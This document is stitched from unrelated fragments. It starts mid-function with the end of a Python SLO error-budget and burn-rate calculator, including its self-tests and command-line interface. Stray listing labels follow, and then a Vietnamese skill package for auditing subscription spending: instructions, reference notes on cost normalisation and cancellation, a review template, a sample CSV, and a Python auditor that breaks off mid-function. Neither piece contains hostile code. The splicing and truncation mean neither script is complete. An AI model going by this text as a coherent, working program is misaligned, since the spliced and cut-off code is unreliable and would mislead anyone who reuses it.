    pct = lambda x: f"{100 * x:.1f}%"
    out = [f"# SLO error budget report", "",
           f"**SLO:** {r['slo_percent']}% over {r['window']}  **Data:** {r['data_start']} to {r['data_end']} "
           f"({r['rows']} rows, step {fmt_dur(r['step_seconds'])}, {r['missing_intervals']} missing)",
           f"**SLI over data:** {r['sli_percent']:.4f}%  ({r['bad']:,} bad of {r['total']:,})",
           f"**Error budget:** {r['allowed_bad_in_window']:,.0f} bad requests per {r['window']} at current traffic "
           f"(= {fmt_dur(r['allowed_downtime_seconds'])} of full downtime)",
           f"**Consumed so far:** {pct(r['budget_consumed'])}  **Remaining:** {pct(r['budget_remaining'])}", "",
           "## Burn rates (1.0 = on budget)", "", "| Window | Burn rate |", "|---|---|"]
    for w, v in r["burn_rates"].items():
        out.append(f"| {w} | {'n/a' if v is None else f'{v:.2f}'} |")
    out += ["", "## Alert policy", "", "| Severity | Long / short window | Threshold | Long burn | Short burn | Status |",
            "|---|---|---|---|---|---|"]
    for a in r["alerts"]:
        lb = "n/a" if a["long_burn"] is None else f"{a['long_burn']:.2f}"
        sb = "n/a" if a["short_burn"] is None else f"{a['short_burn']:.2f}"
        out.append(f"| {a['severity']} | {a['long']} / {a['short']} | {a['threshold']:.1f} | {lb} | {sb} | {a['status']} |")
    out += ["", "## Time to exhaustion at recent burn"]
    for w, s in r["exhaustion_seconds"].items():
        out.append(f"- at last {w} rate: " + ("budget already exhausted" if s == 0 else ("no errors in window" if s is None else fmt_dur(s))))
    wi = r["worst_interval"]
    out += ["", f"Worst interval: {wi['start']} with {wi['bad']:,} bad of {wi['total']:,} ({100 * wi['error_rate']:.2f}%)"]
    return "\n".join(out)


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    t0 = dt.datetime(2026, 1, 1, tzinfo=dt.timezone.utc)

    def series(n, step_min, total, bad_fn):
        return [(t0 + dt.timedelta(minutes=step_min * i), total, bad_fn(i)) for i in range(n)]

    ok("duration parse", parse_duration("28d") == 28 * 86400 and parse_duration("5m") == 300)
    ok("duration format", fmt_dur(43.2 * 60) == "43m 12s" and fmt_dur(86400 * 3) == "3d")
    a = allowance_table(99.9, "30d")
    ok("99.9% of 30d allows 43m 12s", round(a["allowed_downtime_seconds"]) == 2592)
    ok("page threshold 14.4 for 30d", abs(a["thresholds"][0]["burn_rate"] - 14.4) < 1e-9)
    ok("28d threshold scales to 13.44", abs(allowance_table(99.9, "28d")["thresholds"][0]["burn_rate"] - 13.44) < 1e-9)
    flat = series(4 * 24 * 4, 15, 10000, lambda i: 10)          # 0.1% errors at 99.9 -> burn 1.0
    r = analyze(flat, 99.9, "30d")
    ok("steady burn rate is 1.0", abs(r["burn_rates"]["1h"] - 1.0) < 1e-9 and abs(r["burn_rates"]["1d"] - 1.0) < 1e-9)
    ok("no alert at burn 1.0", all(x["status"] != "FIRING" for x in r["alerts"][:3]))
    ok("burn 1.0 over 4 of 30 days consumes 4/30", abs(r["budget_consumed"] - 4 / 30) < 1e-9)
    ok("SLI computed", abs(r["sli_percent"] - 99.9) < 1e-9)
    spike = series(4 * 24 * 4, 15, 10000, lambda i: 200 if i >= 4 * 24 * 4 - 4 else 5)   # last hour 2% errors
    r = analyze(spike, 99.9, "30d")
    ok("fast burn pages (1h/5m)", r["alerts"][0]["status"] == "FIRING")
    ok("short window rounded up to step", abs(r["burn_rates"]["5m"] - 20.0) < 1e-9)
    ok("6h page not firing for 1h spike", r["alerts"][1]["status"] == "ok")
    recovered = spike[:-2] + [(spike[-2][0], 10000, 5), (spike[-1][0], 10000, 5)]
    r = analyze(recovered, 99.9, "30d")
    ok("short window resets page after recovery", r["alerts"][0]["status"] == "ok")
    short = series(8, 15, 1000, lambda i: 0)
    r = analyze(short, 99.9, "30d")
    ok("long windows not evaluable on 2h of data", r["alerts"][3]["status"] == "not evaluable" and r["burn_rates"]["3d"] is None)
    gap = flat[:10] + flat[12:]
    ok("missing intervals counted", analyze(gap, 99.9, "30d")["missing_intervals"] == 2)
    ok("exhaustion time at burn 1", abs(analyze(flat, 99.9, "30d")["exhaustion_seconds"]["1d"] - 26 * 86400) < 1)
    rows = load_rows(["time,requests,errors", "2026-01-01T00:00:00Z,100,1", "2026-01-01T00:05:00Z,100,0"])
    ok("aliases requests/errors", rows[0][1] == 100 and rows[0][2] == 1)
    rows = load_rows(["ts,total,good", "1767225600,50,49", "1767225900,50,50"])
    ok("unix timestamps and good column", rows[0][2] == 1 and rows[0][0] == t0)
    for data, label in [(["ts,total", "x,1"], "missing good/bad rejected"),
                        (["ts,total,bad", "2026-01-01T00:00:00Z,10,11", "2026-01-01T00:05:00Z,10,0"], "bad > total rejected"),
                        (["ts,total,bad", "nope,10,1", "2026-01-01T00:05:00Z,10,0"], "bad timestamp rejected")]:
        try:
            load_rows(data)
            ok(label, False)
        except SLOError:
            ok(label, True)
    try:
        analyze(flat, 100, "30d")
        ok("SLO 100 rejected", False)
    except SLOError:
        ok("SLO 100 rejected", True)
    ok("markdown has alert table", "## Alert policy" in to_markdown(analyze(flat, 99.9, "30d")))
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Compute SLO error budget consumption and multiwindow burn-rate alerts.")
    ap.add_argument("file", nargs="?", help="CSV of request counts per interval ('-' for stdin)")
    ap.add_argument("--slo", type=float, default=99.9, help="target in percent (default 99.9)")
    ap.add_argument("--window", default="30d", help="SLO window, e.g. 28d or 30d (default 30d)")
    ap.add_argument("--now", help="evaluate as of this ISO time (default: end of the last interval)")
    ap.add_argument("--allowance", action="store_true", help="print allowed downtime and alert thresholds only")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    try:
        if a.allowance:
            t = allowance_table(a.slo, a.window)
            if a.json:
                print(json.dumps(t, indent=2))
            else:
                print(f"SLO {a.slo}% over {a.window}: {fmt_dur(t['allowed_downtime_seconds'])} of full downtime "
                      f"({fmt_dur(t['per_day_seconds'])}/day, {fmt_dur(t['per_week_seconds'])}/week)")
                for x in t["thresholds"]:
                    print(f"  {x['severity']:6} {x['share'] * 100:.0f}% of budget in {x['long']} (short {x['short']}): burn rate >= {x['burn_rate']:.2f}")
            return 0
        if not a.file:
            ap.error("CSV file required (or --allowance / --self-test)")
        lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
        r = analyze(load_rows(lines), a.slo, a.window, parse_ts(a.now) if a.now else None)
    except (OSError, SLOError, ValueError) as e:
        print(f"error: {e}", file=sys.stderr)
        return 2
    print(json.dumps(r, indent=2) if a.json else to_markdown(r))
    paging = any(x["severity"] == "page" and x["status"] == "FIRING" for x in r["alerts"])
    return 1 if paging or r["budget_remaining"] <= 0 else 0


if __name__ == "__main__":
    sys.exit(main())
PythonDevOpsSRE+2
F@f
0
Trình Kiểm Toán Chi Tiêu Đăng Ký Định Kỳ
Kỹ năng

Kiểm toán các gói đăng ký định kỳ (phát trực tuyến, ứng dụng, phòng tập gym, lưu trữ đám mây, tin tức) từ một tệp CSV đơn giản: chi phí thực tế hàng tháng và hàng năm theo một loại tiền tệ duy nhất, phần chi phí của bạn trong các gói gia đình, các khoản gia hạn và chuyển đổi dùng thử trong 30 ngày tới, các dịch vụ không sử dụng, các dịch vụ trùng lặp trong cùng một danh mục, các đợt tăng giá và các gói theo năm giúp tiết kiệm tiền. Kết thúc bằng danh sách hành động hủy/giữ/hạ cấp. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.

---
name: subscription-spending-auditor
description: Kiểm toán các gói đăng ký định kỳ (phát trực tuyến, ứng dụng, phòng tập gym, lưu trữ đám mây, tin tức) từ một tệp CSV đơn giản: chi phí thực tế hàng tháng và hàng năm theo một loại tiền tệ duy nhất, phần chi phí của bạn trong các gói gia đình, các khoản gia hạn và chuyển đổi dùng thử trong 30 ngày tới, các dịch vụ không sử dụng, các dịch vụ trùng lặp trong cùng một danh mục, các đợt tăng giá và các gói theo năm giúp tiết kiệm tiền. Kết thúc bằng danh sách hành động hủy/giữ/hạ cấp. Bao gồm một trình kiểm toán Python dùng thư viện chuẩn với tùy chọn --self-test.
---

# Trình Kiểm Toán Chi Tiêu Đăng Ký Định Kỳ

Bạn giúp mọi người nhìn rõ chi phí thực sự của các gói đăng ký định kỳ và quyết định nên giữ lại dịch vụ nào. Bạn chuyển các dòng sao kê ngân hàng, biên lai kho ứng dụng hoặc một danh sách sơ bộ thành một bảng duy nhất, quy đổi mọi khoản phí sang cùng một loại tiền tệ cũng như số tiền hàng tháng và hàng năm, đồng thời chỉ ra những điểm dễ dàng tối ưu: các dịch vụ không ai dùng đến, ba dịch vụ xem video trong khi chỉ cần một là đủ, các gói dùng thử sắp chuyển thành gói trả phí, những đợt tăng giá âm thầm, và các gói trả theo năm rẻ hơn nếu đằng nào cũng giữ lại dịch vụ đó. Người dùng là người ra quyết định; bạn giúp làm rõ các sự đánh đổi.

## Các tệp trong kỹ năng này

- `scripts/sub_audit.py` - đọc tệp CSV danh sách gói đăng ký và in ra tổng chi phí, phần chi phí của bạn trong các gói dùng chung, tổng chi phí theo danh mục, các khoản phí sắp tới và các cờ cảnh báo (TRIAL, RENEWS_YEARLY, UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES) (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/cost-normalization.md` - cách quy đổi các chu kỳ, tiền tệ, gói dùng chung, gói dùng thử và thay đổi giá, kèm theo công thức tính
- `references/cancellation-playbook.md` - cách hủy, tạm dừng, hạ cấp hoặc thương lượng giá, và cách tránh bị gia hạn bất ngờ
- `templates/subscription-review.md` - bản đánh giá gói gọn trong một trang bao gồm các quyết định và lời nhắc
- `examples/subscriptions.csv` - 12 gói đăng ký mẫu bằng đồng EUR và USD với các chu kỳ hàng tuần, hàng tháng, hàng quý và hàng năm, một gói gia đình dùng chung, một gói dùng thử, các dịch vụ không sử dụng và các đợt tăng giá

## Quy trình làm việc

### 1. Lập danh sách
Yêu cầu người dùng rà soát sao kê ngân hàng và thẻ trong 12 tháng qua, các gói đăng ký trên App Store và Google Play, các khoản thanh toán tự động qua PayPal và biên lai trong email (tìm kiếm các từ khóa "renewal", "subscription", "receipt", "trial"). Đưa từng mục vào định dạng CSV giống như `examples/subscriptions.csv`. Các cột bắt buộc: name, amount, cycle. Các cột hữu ích: currency, next_renewal, category, last_used (ước tính trung thực là được), users (số người dùng chung gói), trial_end và paid_after_trial, previous_amount, annual_price.

### 2. Chạy trình kiểm toán
```
python3 scripts/sub_audit.py examples/subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 scripts/sub_audit.py subs.csv --currency USD --rate EUR=1.08 --rate GBP=1.27 --days 45 --unused-days 60
python3 scripts/sub_audit.py subs.csv --json > audit.json
python3 scripts/sub_audit.py --self-test
```
Tỷ giá được tính theo quy tắc "1 đơn vị tiền tệ đó = X đơn vị tiền tệ báo cáo"; hãy sử dụng tỷ giá trên sao kê thẻ của người dùng. Mã thoát (exit code) bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ (chu kỳ không xác định, thiếu tỷ giá, ngày tháng sai định dạng, số tiền âm).

### 3. Duyệt qua danh sách hành động
Thứ tự ưu tiên chú ý: TRIAL (hạn chót gần nhất), RENEWS_YEARLY (sắp phát sinh một khoản phí lớn), UNUSED, OVERLAP, PRICE_UP, ANNUAL_SAVES. Đối với mỗi mục, hãy đặt một câu hỏi: "Hôm nay bạn có sẵn sàng đăng ký mới dịch vụ này với mức giá này không?" Đề xuất hủy, tạm dừng, hạ cấp, chia sẻ gói, hoặc chuyển sang gói năm (chỉ áp dụng cho các dịch vụ mà họ chắc chắn sẽ duy trì trong 12 tháng).

### 4. Hành động an toàn
Sử dụng `references/cancellation-playbook.md`. Hủy thông qua trang tài khoản chính thức hoặc kho ứng dụng, chụp màn hình xác nhận và đặt lời nhắc lịch trước 3 ngày khi kết thúc dùng thử cũng như khi gia hạn hàng năm.

### 5. Tóm tắt
Điền vào `templates/subscription-review.md`: tổng chi phí hàng tháng và hàng năm trước và sau khi điều chỉnh, các quyết định đã đưa ra và ngày nhắc nhở.

## Kết quả ví dụ
Đối với `examples/subscriptions.csv` với tỷ giá USD=0.92 vào ngày 2026-10-20: 136.65 EUR/tháng (1,639.80 EUR/năm), phần chi phí của người dùng là 112.66 EUR/tháng, 699.49 EUR/năm nằm ở bốn dịch vụ không sử dụng, một gói dùng thử DesignPro sẽ chuyển đổi vào ngày 2026-10-25 thành 22.99 EUR/tháng, một khoản gia hạn CloudVault trị giá 99.99 EUR vào ngày 2026-11-05, ba dịch vụ video trùng lặp, ba đợt tăng giá trị giá 108 EUR/năm, và 237.87 EUR các khoản phí sẽ phát sinh trong 30 ngày tới.

## Quy tắc

- Không bao giờ hỏi số thẻ, thông tin đăng nhập ngân hàng hoặc mật khẩu; chỉ cần số tiền và ngày tháng là đủ.
- Không tự ý hủy bất kỳ dịch vụ nào hoặc liên hệ với nhà cung cấp thay cho người dùng trừ khi họ yêu cầu; thay vào đó hãy soạn sẵn nội dung tin nhắn cho họ.
- Giữ thái độ khách quan, không phán xét: một số gói đăng ký hoàn toàn xứng đáng với chi phí bỏ ra. Hãy trình bày chi phí và để người dùng tự lựa chọn.
- Các gói dùng thử được tính là 0 trong tổng chi phí hiện tại; luôn hiển thị mức phí sẽ phát sinh sau khi chuyển đổi sang gói trả phí.
FILE:references/cost-normalization.md
# Chuẩn Hóa Chi Phí

## Số lần thu phí mỗi tháng theo chu kỳ
| Chu kỳ | Số lần thu phí mỗi tháng | Chi phí hàng năm cho mức phí 10.00 |
|---|---|---|
| weekly | 4.348125 (365.25 / 12 / 7) | 521.78 |
| biweekly | 2.1740625 | 260.89 |
| monthly | 1 | 120.00 |
| quarterly | 1/3 | 40.00 |
| semiannual | 1/6 | 20.00 |
| yearly | 1/12 | 10.00 |
| every N days | 30.436875 / N | |

chi phí hàng tháng = mức phí x tỷ giá x số lần thu phí mỗi tháng; chi phí hàng năm = chi phí hàng tháng x 12. Việc làm tròn đến hàng xu chỉ thực hiện ở bước cuối cùng để tổng số không bị lệch.

## Tiền tệ
- Sử dụng một loại tiền tệ báo cáo duy nhất và một tỷ giá cho mỗi ngoại tệ, ví dụ: `--rate USD=0.92` (1 USD = 0.92 EUR).
- Nguồn tốt nhất: lấy số tiền đã quy đổi trên sao kê thẻ chia cho số tiền gốc. Con số này đã bao gồm biên độ tỷ giá ngoại hối (FX margin) của thẻ.
- Đề cập riêng các khoản phí giao dịch ngoại tệ nếu thẻ có thu thêm (thường từ 1-3%).

## Gói dùng chung
- `users` = số người cùng chia sẻ gói. Phần của bạn = chi phí / users.
- Hiển thị cả toàn bộ chi phí (số tiền thẻ phải thanh toán) và phần của bạn (số tiền thực tế bạn chịu sau khi những người khác hoàn trả lại). Nếu những người khác thực tế không trả tiền, hãy dùng users = 1.

## Gói dùng thử
- Một gói dùng thử có amount bằng 0, kèm theo `trial_end` và `paid_after_trial`. Các khoản phí phát sinh vào hoặc sau ngày `trial_end` sẽ sử dụng số tiền trả phí trong danh sách các khoản phí sắp tới.
- Tổng chi phí hiển thị chi phí ngày hôm nay (bằng 0) để người dùng thấy điều gì sẽ thay đổi nếu họ không làm gì cả: cờ TRIAL sẽ cho biết mức giá hàng tháng và hàng năm sau khi chuyển đổi.

## Thay đổi giá
- `previous_amount` = mức giá trước đợt tăng giá gần nhất. Tác động hàng năm = (mức mới - mức cũ) x tỷ giá x số lần thu phí mỗi tháng x 12.
- Các nhà cung cấp thường thông báo tăng giá qua email trước 30 ngày; hãy tìm kiếm cụm từ "price change" và "new price".

## Gói năm so với gói tháng
- Gói trả theo năm chỉ giúp tiết kiệm tiền nếu đằng nào dịch vụ đó cũng được duy trì trong suốt 12 tháng. Khoản tiết kiệm = chi phí hàng tháng x 12 - giá gói năm.
- Các gói trả theo năm thường không được hoàn tiền sau một khoảng thời gian ngắn ban đầu; chỉ nên chuyển sang gói năm đối với các dịch vụ được sử dụng hàng tuần.

## Ngày gia hạn
- Nếu `next_renewal` nằm trong quá khứ, ngày này sẽ được cộng dồn theo chu kỳ cho đến khi trùng với ngày hôm nay hoặc một ngày trong tương lai.
- Các ngày cuối tháng sẽ được giới hạn theo số ngày thực tế của tháng: một gói gia hạn vào ngày 31 sẽ gia hạn vào ngày 28 (hoặc 29) tháng 2, sau đó vào ngày 28 hoặc 31 tùy thuộc vào nhà cung cấp; hãy kiểm tra biên lai.
FILE:references/cancellation-playbook.md
# Cẩm Nang Hủy và Hạ Cấp Dịch Vụ

## Nơi thực hiện hủy
| Thanh toán qua | Nơi thực hiện hủy |
|---|---|
| Apple App Store | Settings > tên của bạn > Subscriptions |
| Google Play | Play Store > hồ sơ > Payments & subscriptions > Subscriptions |
| PayPal | Settings > Payments > Manage automatic payments (dừng thanh toán, đồng thời hãy hủy cả bên phía nhà cung cấp) |
| Trực tiếp với dịch vụ | Trang tài khoản hoặc thanh toán trên website; một số dịch vụ yêu cầu nhắn tin hỗ trợ hoặc gọi điện thoại |
| Nhà mạng di động hoặc gói truyền hình | Tài khoản nhà mạng hoặc tổng đài hỗ trợ |

Việc xóa ứng dụng không làm hủy gói đăng ký của ứng dụng đó.

## Các bước thực hiện
1. Kiểm tra ngày gia hạn và xem việc hủy sẽ chấm dứt quyền truy cập ngay lập tức hay vào cuối kỳ thanh toán (thường là cuối kỳ).
2. Xuất mọi dữ liệu bạn muốn giữ lại (ảnh, danh sách phát, ghi chú, lịch sử tập luyện).
3. Hủy qua kênh chính thức nêu trên, không hủy qua các đường dẫn trong những email lạ.
4. Lưu lại bằng chứng: email xác nhận hoặc ảnh chụp màn hình có kèm ngày tháng.
5. Theo dõi kỳ sao kê tiếp theo; nếu vẫn bị trừ tiền sau khi đã hủy, hãy khiếu nại với nhà cung cấp trước, sau đó mới làm việc với bên phát hành thẻ.

## Các lựa chọn thay thế cho việc hủy
- **Tạm dừng (Pause)** (phòng gym, gói nguyên liệu nấu ăn, một số dịch vụ phát trực tuyến) vào những tháng đi du lịch hoặc bận rộn.
- **Hạ cấp (Downgrade)** xuống gói có quảng cáo, gói một màn hình hoặc gói dung lượng lưu trữ nhỏ hơn.
- **Luân phiên (Rotate)** các dịch vụ phát trực tuyến: chỉ giữ một dịch vụ tại một thời điểm và đổi sang dịch vụ khác theo từng tháng để xem các chương trình bạn muốn.
- **Chia sẻ (Share)** gói gia đình với các thành viên trong hộ gia đình, trong phạm vi điều khoản của nhà cung cấp.
- **Yêu cầu (Ask)** ưu đãi giữ chân khách hàng: nhiều dịch vụ sẽ đưa ra mức giảm giá khi bạn bắt đầu thao tác hủy. Hãy xác định trước mức giá tối đa bạn chấp nhận trả trước khi thương lượng.

## Gói dùng thử
- Đặt lời nhắc trước ngày `trial_end` từ 2-3 ngày; nhiều gói dùng thử cho phép hủy ngay sau khi đăng ký mà vẫn giữ nguyên thời gian dùng thử còn lại.
- Sử dụng thẻ ảo có giới hạn hạn mức hoặc thẻ chỉ thanh toán cho một đơn vị chấp nhận thẻ đối với các gói dùng thử nếu ngân hàng có hỗ trợ.

## Mẫu tin nhắn (chat hỗ trợ hoặc email)
> Xin chào, vui lòng hủy gói đăng ký <service> của tôi trên tài khoản <email> có hiệu lực vào cuối kỳ thanh toán hiện tại, và xác nhận qua email rằng sẽ không có khoản phí nào phát sinh thêm. Xin cảm ơn.

## Những thói quen giúp kiểm soát chi phí
- Rà soát lại các gói đăng ký mỗi quý bằng kỹ năng này.
- Duy trì một lịch duy nhất ghi lại tất cả các ngày gia hạn hàng năm.
- Trước khi đăng ký mới, hãy tự hỏi: mình có dùng dịch vụ này ít nhất mỗi tuần một lần không?
FILE:templates/subscription-review.md
# Đánh Giá Gói Đăng Ký - <name> - <date>

**Tiền tệ báo cáo:** <EUR>  **Tỷ giá:** <1 USD = 0.92 EUR (sao kê thẻ)>
**Trước khi điều chỉnh:** <monthly> /tháng = <yearly> /năm (phần của bạn <monthly> /tháng)
**Sau khi quyết định:** <monthly> /tháng = <yearly> /năm  **Tiết kiệm mỗi năm:** <amount>

## Các quyết định
| Gói đăng ký | Chi phí mỗi năm | Cờ cảnh báo | Quyết định | Hoàn thành |
|---|---|---|---|---|
| | | | giữ / hủy / tạm dừng / hạ cấp / chuyển sang gói năm | [ ] |

## Hạn chót và lời nhắc
| Ngày | Nội dung | Đã đặt lời nhắc |
|---|---|---|
| | hết hạn dùng thử | [ ] |
| | gia hạn hàng năm | [ ] |

## Các khoản phí trong 30 ngày tới
- <date> <name> <amount>

## Ghi chú
- Gói dùng chung: <ai hoàn trả lại khoản nào>
- Các đợt tăng giá ghi nhận được: <dịch vụ giá cũ -> giá mới>
- Lần đánh giá tiếp theo: <ngày, khoảng 3 tháng kể từ bây giờ>
FILE:examples/subscriptions.csv
name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial
StreamFlix Premium,17.99,EUR,monthly,2026-10-27,Video streaming,2026-10-18,2,,15.99,,
CineBox,8.99,EUR,monthly,2026-11-03,Video streaming,2026-08-02,1,,,89.90,
AnimeNow,6.49,USD,monthly,2026-10-22,Video streaming,2026-07-15,1,,,,
TuneWave Family,19.99,EUR,monthly,2026-11-10,Music,2026-10-19,4,,16.99,,
CloudVault 2 TB,99.99,EUR,yearly,2026-11-05,Cloud storage,2026-10-19,1,,,,
PhotoCloud 200 GB,2.99,EUR,monthly,2026-11-01,Cloud storage,2026-10-10,1,,,29.99,
FitPulse Gym,39.00,EUR,monthly,2026-11-01,Fitness,2026-09-04,1,,35.00,,
Yoga Daily App,59.99,USD,yearly,2027-03-14,Fitness,2026-10-12,1,,,,
NewsLine Digital,4.99,EUR,weekly,2026-10-23,News,2026-10-19,1,,,,
PasswordSafe,36.00,USD,yearly,2027-01-20,Software,2026-10-19,1,,,,
DesignPro Trial,0.00,USD,monthly,2026-10-25,Design,2026-10-02,1,2026-10-25,,,24.99
LangLeap Plus,12.99,EUR,quarterly,2026-12-01,Learning,2026-06-30,1,,,,
FILE:scripts/sub_audit.py
#!/usr/bin/env python3
"""Subscription spending auditor (Python 3 standard library only).

Input CSV columns (header names are case-insensitive; only name, amount, cycle are required):
  name, amount, currency, cycle, next_renewal, category, last_used, users, trial_end,
  previous_amount, annual_price, paid_after_trial
cycle: weekly, biweekly, monthly, quarterly, semiannual, yearly/annual, or "every N days|weeks|months|years"
       (also short forms like 2w, 3m, 1y).
users: how many people share the plan; your share = amount / users (default 1).
trial_end + paid_after_trial: a free trial (amount 0) that converts to paid_after_trial on trial_end.

Reports, all converted to one currency with explicit rates (--rate USD=0.92):
  monthly and yearly cost per item and in total, by category, your share of shared plans,
  renewals in the next --days days (past dates are rolled forward by the cycle),
  flags: UNUSED (last_used older than --unused-days), OVERLAP (several items in one category),
  TRIAL (trial ends within --days; amount after trial if given), PRICE_UP (amount > previous_amount),
  ANNUAL_SAVES (annual_price cheaper than 12 x monthly), RENEWS_YEARLY (a yearly charge within --days).
Usage:
  python3 sub_audit.py subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
  python3 sub_audit.py subscriptions.csv --json
  python3 sub_audit.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import calendar
import csv
import datetime as dt
import json
import re
import sys
from decimal import Decimal, ROUND_HALF_UP

NAMED = {"weekly": (1, "w"), "biweekly": (2, "w"), "fortnightly": (2, "w"), "monthly": (1, "m"),
         "bimonthly": (2, "m"), "quarterly": (3, "m"), "semiannual": (6, "m"), "semiannually": (6, "m"),
         "half-yearly": (6, "m"), "yearly": (12, "m"), "annual": (12, "m"), "annually": (12, "m")}
UNIT = {"d": "d", "day": "d", "days": "d", "w": "w", "week": "w", "weeks": "w", "m": "m", "month": "m",
        "months": "m", "y": "y", "year": "y", "years": "y"}
PER_MONTH = {"d": Decimal("30.436875"), "w": Decimal("4.348125"), "m": Decimal(1), "y": Decimal(1) / 12}
D2 = Decimal("0.01")


class AuditError(ValueError):
    pass


def parse_cycle(s):
    s = (s or "").strip().lower()
    if s in NAMED:
        n, u = NAMED[s]
        return n, u
    m = re.fullmatch(r"(?:every\s+)?(\d+)\s*([a-z]+)", s)
    if m and m.group(2) in UNIT:
        n, u = int(m.group(1)), UNIT[m.group(2)]
        if n <= 0:
            raise AuditError(f"cycle must be positive: {s!r}")
        if u == "y":
            return n * 12, "m"
        return n, u
    raise AuditError(f"unknown cycle {s!r} (use weekly, monthly, quarterly, yearly or 'every 2 months')")


def monthly_factor(n, u):
    """How many charges per month for a cycle of n units."""
    return PER_MONTH[u] / n


def add_cycle(d, n, u):
    if u == "d":
        return d + dt.timedelta(days=n)
    if u == "w":
        return d + dt.timedelta(weeks=n)
    m = d.month - 1 + n
    y, m = d.year + m // 12, m % 12 + 1
    return dt.date(y, m, min(d.day, calendar.monthrange(y, m)[1]))


def parse_date(s, field, name):
    s = (s or "").strip()
    if not s:
        return None
    try:
        return dt.date.fromisoformat(s)
    except ValueError:
        raise AuditError(f"{name}: bad {field} date {s!r} (use YYYY-MM-DD)")


def money(s, field, name, required=False):
    s = (s or "").strip().replace(",", "") if (s or "").count(",") and "." in (s or "") else (s or "").strip().replace(",", ".")
    if not s:
        if required:
            raise AuditError(f"{name}: {field} is required")
        return None
    try:
        v = Decimal(s)
    except Exception:
        raise AuditError(f"{name}: bad {field} {s!r}")
    if v < 0:
        raise AuditError(f"{name}: {field} cannot be negative")
    return v


def q(v):
    return v.quantize(D2, rounding=ROUND_HALF_UP)


def load(lines):
    rd = csv.DictReader(lines)
    if not rd.fieldnames:
        raise AuditError("empty CSV")
    rows = []
    for r in rd:
        r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
        if not any(r.values()):
            continue
        if not r.get("name"):
            raise AuditError("every row needs a name")
        rows.append(r)
    if not rows:
        raise AuditError("no subscriptions found")
    return rows


def audit(rows, currency="EUR", rates=None, today=None, days=30, unused_days=45):
    rates = {k.upper(): Decimal(str(v)) for k, v in (rates or {}).items()}
    rates[currency.upper()] = Decimal(1)
    today = today or dt.date.today()
    horizon = today + dt.timedelta(days=days)
    items, flags, renewals, raw = [], [], [], {}
    for r in rows:
        name = r["name"]
        cur = (r.get("currency") or currency).upper()
        if cur not in rates:
            raise AuditError(f"{name}: no rate for {cur}; pass --rate {cur}=<value in {currency}>")
        rate = rates[cur]
        n, u = parse_cycle(r.get("cycle"))
        amount = money(r.get("amount"), "amount", name, required=True)
        after_trial = money(r.get("paid_after_trial"), "paid_after_trial", name)
        trial_end = parse_date(r.get("trial_end"), "trial_end", name)
        users = int(r.get("users") or 1)
        if users < 1:
            raise AuditError(f"{name}: users must be at least 1")
        charge = amount * rate
        f = monthly_factor(n, u)
        monthly = charge * f
        item = {"name": name, "category": r.get("category") or "Other", "currency": cur, "amount": float(amount),
                "cycle": r.get("cycle"), "monthly": q(monthly), "yearly": q(monthly * 12), "users": users,
                "your_monthly": q(monthly / users), "your_yearly": q(monthly * 12 / users)}
        raw[name] = (monthly, monthly / users)
        items.append(item)
        nxt = parse_date(r.get("next_renewal"), "next_renewal", name)
        if nxt:
            while nxt < today:
                nxt = add_cycle(nxt, n, u)
            item["next_renewal"] = nxt.isoformat()
            d = nxt
            while d <= horizon:
                due = charge
                if trial_end and d >= trial_end and after_trial is not None:
                    due = after_trial * rate
                renewals.append({"date": d.isoformat(), "name": name, "amount": q(due)})
                d = add_cycle(d, n, u)
            if (n, u) in ((12, "m"),) or (u == "m" and n >= 12):
                if nxt <= horizon:
                    flags.append({"name": name, "flag": "RENEWS_YEARLY",
                                  "detail": f"{q(charge)} {currency} charge on {nxt.isoformat()}; decide before then"})
        last = parse_date(r.get("last_used"), "last_used", name)
        if last and (today - last).days > unused_days:
            flags.append({"name": name, "flag": "UNUSED",
                          "detail": f"last used {last.isoformat()} ({(today - last).days} days ago); costs {q(monthly * 12)} {currency}/year"})
        if trial_end and today <= trial_end <= horizon:
            extra = (f"; then {q(after_trial * rate)} {currency} per charge ({q(after_trial * rate * f * 12)} {currency}/year)"
                     if after_trial is not None else "")
            flags.append({"name": name, "flag": "TRIAL",
                          "detail": f"trial ends {trial_end.isoformat()} ({(trial_end - today).days} days){extra}; cancel or keep on purpose"})
        prev = money(r.get("previous_amount"), "previous_amount", name)
        if prev and amount > prev:
            pct = (amount - prev) / prev * 100
            flags.append({"name": name, "flag": "PRICE_UP",
                          "detail": f"{prev} -> {amount} {cur} (+{q(pct)}%), +{q((amount - prev) * rate * f * 12)} {currency}/year"})
        annual = money(r.get("annual_price"), "annual_price", name)
        if annual is not None and not (u == "m" and n == 12):
            save = monthly * 12 - annual * rate
            if save > 0:
                flags.append({"name": name, "flag": "ANNUAL_SAVES",
                              "detail": f"annual plan {q(annual * rate)} {currency} vs {q(monthly * 12)} {currency} paid {r.get('cycle')}: saves {q(save)} {currency}/year if you keep it 12 months"})
    cats = {}
    for it in items:
        c = cats.setdefault(it["category"], {"count": 0, "monthly": Decimal(0), "names": []})
        c["count"] += 1
        c["monthly"] += raw[it["name"]][0]
        c["names"].append(it["name"])
    for cname, c in sorted(cats.items()):
        if c["count"] > 1:
            flags.append({"name": ", ".join(c["names"]), "flag": "OVERLAP",
                          "detail": f"{c['count']} subscriptions in {cname} ({q(c['monthly'])} {currency}/month); keep the one you use most"})
    order = {"TRIAL": 0, "RENEWS_YEARLY": 1, "UNUSED": 2, "OVERLAP": 3, "PRICE_UP": 4, "ANNUAL_SAVES": 5}
    flags.sort(key=lambda x: (order[x["flag"]], x["name"]))
    renewals.sort(key=lambda x: (x["date"], x["name"]))
